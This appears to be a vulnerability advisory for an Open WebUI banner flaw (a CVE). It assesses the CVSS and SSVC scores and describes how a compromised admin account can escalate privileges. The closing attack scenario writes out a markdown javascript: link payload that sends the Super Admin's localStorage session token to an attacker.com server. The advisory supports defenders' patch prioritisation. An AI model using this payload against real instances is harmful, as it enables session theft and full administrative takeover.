Open WebUI CVE-2026-45665

Attack requires administrator-level privileges (PR:H in CVSS vector) to create or modify global banners via Settings > Interface > UI > Banners menu. This means attacker must have already compromised an existing admin account through credential theft, session hijacking, or insider access. Privilege escalation occurs when a higher-privileged user (specifically the Super Admin or Primary Admin) views the malicious banner and clicks the crafted link (UI:R-user interaction required). The vulnerability affects default Open WebUI configurations where banner feature is enabled and markdown rendering is active. Exploitation is limited by: (1) Need for pre-existing admin compromise; (2) Requirement for victim admin to actively click banner link rather than passive exploitation; (3) Victim must have an active session with stored token in localStorage. Attack does NOT work against unauthenticated users or non-admin roles who cannot create banners. Social engineering effectiveness depends on banner content plausibility-generic 'click here' links may raise suspicion, but banners mimicking legitimate security updates or system notifications increase click probability.

CVSS 8.1 (High) reflects significant impact (C:H/I:H scope change) but contextual constraints reduce immediate urgency. Attack vector is Network (AV:N) but requires High privileges (PR:H-admin account compromise) and User interaction (UI:R-victim must click banner link). The Scope change (S:C) correctly models privilege escalation from lower admin to Super Admin. No EPSS score or CISA KEV listing indicates limited observed exploitation; POC is public but requires pre-existing admin access, limiting attacker population. Real-world risk depends on admin account security posture: if MFA protects admin login and insider threat risk is low, this is lower priority despite high CVSS. However, for environments with shared admin credentials, SSO-only authentication, or elevated insider threat, this becomes critical-session hijacking bypasses MFA for already-authenticated users. SSVC assessment: Exploitation=POC (public steps), Automatable=No (requires social engineering to trigger click), Technical Impact=Total (full Super Admin session compromise). Prioritize patch if admin accounts are high-value targets or compromised credentials are plausible. Note discrepancy: CVSS suggests network exploitation but practical attack requires internal admin account access first-verify threat model alignment.

An attacker compromises a lower-privileged administrator account (e.g., via phishing, credential reuse, or session hijacking). They authenticate to Open WebUI, navigate to Settings > Interface > UI > Banners, and create a banner with markdown payload [Critical Security Update - Click Here](javascript:fetch('https://attacker.com/exfil?token='+localStorage.token)). When the Super Admin (Primary Admin) logs into their dashboard, they see the banner displayed as a legitimate system notification. Trusting the interface, the Super Admin clicks the link. The browser executes the embedded JavaScript, extracting the session token from localStorage and transmitting it to the attacker's server. The attacker now possesses the Super Admin's active session token, bypassing MFA and gaining full administrative control over the Open WebUI instance, including access to all user data, model configurations, and analytics.